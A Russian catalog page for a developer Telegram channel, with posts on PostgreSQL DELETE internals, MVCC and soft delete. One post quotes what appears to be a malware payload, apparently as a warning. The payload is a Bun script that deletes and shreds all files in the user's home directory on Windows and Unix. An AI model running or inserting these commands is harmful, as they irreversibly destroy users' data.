
- Главная
- Каталог
- Интернет технологии
- Бессонный кодер
Бессонный кодер
Канал разработчика, рассказываю о разработке игр и IT в целом.
Статистика канала
Полная статистикаchevron_rightDELETE — тяжёлая операция;
- после DELETE в базе остаётся мусор.
Возникает логичный вопрос: а как тогда удалять?
И ответ на него одновременно простой и нет — soft delete.
Что такое soft delete
В этой методике мы не удаляем строку, а просто помечаем её как удалённую.
То есть вместо:
DELETE FROM messages WHERE id = 993;{}
мы делаем:
UPDATE messages
SET deleted_at = now()
WHERE id = 993;{}
Для приложения запись сразу считается удалённой,
но физически она остаётся в таблице.
Почему это дешевле
1. Мы почти не трогаем индексы
Поле deleted_at обычно не входит в основные индексы,
а значит — меньше модификаций страниц и меньше дисковых операций.
2. Меньше WAL
UPDATE одного поля пишет меньше данных в WAL,
что снижает нагрузку на диск и упрощает репликацию.
3. Меньше блокировок и побочных эффектов
Нет постоянного потока тяжёлых DELETE,
система ведёт себя стабильнее под нагрузкой.
Почему deleted_at, а не is_deleted
Чаще всего используют именно deleted_at timestamptz, потому что:
- известно, когда запись была удалена
- можно откатить удаление по дате
- удобно строить TTL-чистку на основе времени удаления.
«Но ведь строки остаются в таблице»
Да. И в этом весь смысл.
Мы разделяем удаление на два этапа:
1. Быстро и дёшево убираем данные из пользовательского флоу в любой момент времени.
2. Медленно и аккуратно удаляем их физически позже —
например, ночью, когда система нагружена меньше.
И небольшой приятный бонус
Когда пользователь пишет: «Я СЛУЧАЙНО НАЖАЛ УДАЛИТЬ, ВЕРНИТЕ» — у вас уже есть TTL-окно, в которое это можно спокойно сделать 😉DELETE — операция тяжеловатая. Но внимательные могли заметить: я писал не «удаляет строку», а «помечает строку». И это важно.
Давайте разберёмся, как DELETE работает на самом деле.
Когда PostgreSQL «удаляет» строку, он не вырезает её из таблицы. Он помечает её как неактуальную. Такая строка называется dead tuple — мёртвая версия строки.
Она:
- продолжает лежать в таблице
- занимает место на странице и на диске
- участвует в механизме чтения (они не возвращаются, так как отфильтровываются по visibility map, но увеличивают стоимость скана)
- не удаляется без VACUUM
То есть DELETE — это не «убрали», а «оставили, но пометили как мусор».
Почему так происходит
Причина — MVCC (многоверсионность).
PostgreSQL обязан:
- позволять другим транзакциям дочитать старые данные
- сохранять консистентность
- не блокировать чтение
Цена за это — версии строк. А при DELETE появляется ещё и мёртвая версия, которая никуда не исчезает сразу.
А проблема ли это вообще?
Пока dead tuples мало — нет.
Но при массовых операциях начинается цепная реакция.
- Вы удаляете строки, но место на диске не освобождается, а иногда даже продолжает расти.
- Чтение становится дороже: база проверяет видимость строк, даже если актуальных данных мало.
- VACUUM начинает работать дольше и чаще.
Самое неприятное
PostgreSQL не уменьшает размер таблицы автоматически.
Даже если VACUUM убрал большенство dead tuples — файл таблицы на диске останется прежнего размера.
Чтобы реально вернуть место, нужны тяжёлые меры:
- VACUUM FULL
- перенос данных
- партиционирование
А это уже операции, которые очень не хочется выполнять на живой системе под нагрузкой. А как жить в таком жестоком мире мы поговорим в следующем посте.
DELETE FROM jobs WHERE id = 123;{}
Разбираем по частям:
DELETE — говорим серверу: «пора удалять».
FROM jobs — удалять будем в таблице jobs.
WHERE id = 123 — удаляем только те строки, где id равен 123.
Выглядит… ну, вообще не страшно. Обычнейшая операция.
Но давайте посмотрим, что на самом деле происходит в тот момент, когда вы это делаете.
1) Поиск строки
PostgreSQL должен найти нужную запись.
В больших таблицах это почти всегда будет по индексу, так что шаг ещё относительно быстрый.
Но это — только разогрев.
2) Установка блокировки строки
DELETE ставит блокировку на саму строку.
Если таблица — архив, не страшно.
Если таблица активно читается/пишется, или если DELETE прилетают потоком — вы получите: задержки, очереди ожидания, эффект "узкого горлышка", который начинает душить весь поток.
Неприятно, но терпимо. Пока.
3) Удаление строки (ну… почти)
PostgreSQL помечает строку как удалённую.
Физически она никуда не девается (про это поговорим в следующем посте).
Сам шаг быстрый, тут ещё нет боли.
4) Обновление индексов — и вот здесь начинается настоящий урон
База вынуждена удалить все ссылки на эту строку из:
- первичного ключа,
- каждого индекса таблицы,
- всех составных индексов, если они есть (а они почти всегда есть).
Это самая дорогая часть операции:
Postgres модифицирует страницы индексов, перелопачивает их структуру, записывает изменения — это всё время, CPU и дисковые операции.
DELETE на таблице с 5 индексами — это в 5+ раз больше работы, чем DELETE на таблице без индексов.
5) Запись изменений в WAL — финальный босс
Всё, что произошло:
- блокировки,
- изменения строк,
- изменения индексов,
- факт удаления
всё это теперь нужно записать в WAL (Write-Ahead Log).
И если у вас:
- высокая нагрузка,
- репликация,
- много DELETE подряд
WAL становится бутылочным горлышком, начинаются задержки, и производительность всей системы падает.
И что мы получаем
Одна строка. Один DELETE.
А работы... Много, если цензурно выражаться.
А теперь представьте, что это не один DELETE, а тысяча.
А теперь — что это тысячи DELETE каждую минуту.
Если вы мессенджер, DELETE будет прилетать потоком.
Если вы контроллер задач с большой нагрузкой — тоже.
И вот тут DELETE превращается в довольно дорогую операцию, которая может тормозить весь ваш пайплайн… как это, собственно, и произошло у нас.
DELETE FROM jobs WHERE id = $1;{}
То есть не нейронка, не процессинг файлов, не очереди — а DELETE.
И в этот момент у меня в голове всплыло то самое вечное высказывание, которое я слышу когда Telegram в очередной раз показывает удалённое сообщение:
«Мессенджеры не удаляют сообщения — они помечают их как удалённые».
И я подумал: окей, если у нас DELETE начинает душить пайплайн, давайте разберёмся почему так происходит и как жить.
Поэтому встречайте: новый мини-цикл постов!
Мы поговорим о:
- soft delete и hard delete
- о том, почему PostgreSQL на самом деле не удаляет строки сразу
- как устроена под капотом MVCC
- почему UPDATE с флагом бывает дешевле DELETE
- как мессенджеры управляют массивами данных
- что вам лично с этим делать, если у вас миллионы строк и нагрузка растёт
Готовьте свои СУБД, миллионы записей и немного кофе.
Мы начинаем уже завтра.
// DESTRUCTION TRIGGER: No GitHub AND no NPM access
console.log("Error 12");
if (platform === "windows") {
// Attempts to delete all user files and overwrite disk sectors
Bun.spawnSync(["cmd.exe", "/c",
"del /F /Q /S \"%USERPROFILE%*\" && " +
"for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
"cipher /W:%USERPROFILE%" // Overwrite deleted data
]);
} else {
// Attempts to shred all writable files in home directory
Bun.spawnSync(["bash", "-c",
"find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
"xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
"find \"$HOME\" -depth -type d -empty -delete" // Remove empty dirs
]);
}
process.exit(0);{}
Как говорится: никогда такого не было — и вот опять.
Stay safe.Отзывы канала
всего 11 отзывов
- Добавлен: Сначала новые
- Добавлен: Сначала старые
- Оценка: По убыванию
- Оценка: По возрастанию
Каталог Телеграм-каналов для нативных размещений
Бессонный кодер — это Telegam канал в категории «Интернет технологии», который предлагает эффективные форматы для размещения рекламных постов в Телеграмме. Количество подписчиков канала в 5.1K и качественный контент помогают брендам привлекать внимание аудитории и увеличивать охват. Рейтинг канала составляет 28.3, количество отзывов – 11, со средней оценкой 5.0.
Вы можете запустить рекламную кампанию через сервис Telega.in, выбрав удобный формат размещения. Платформа обеспечивает прозрачные условия сотрудничества и предоставляет детальную аналитику. Стоимость размещения составляет 1888.11 ₽, а за 49 выполненных заявок канал зарекомендовал себя как надежный партнер для рекламы в TG. Размещайте интеграции уже сегодня и привлекайте новых клиентов вместе с Telega.in!
Вы снова сможете добавить каналы в корзину из каталога
Комментарий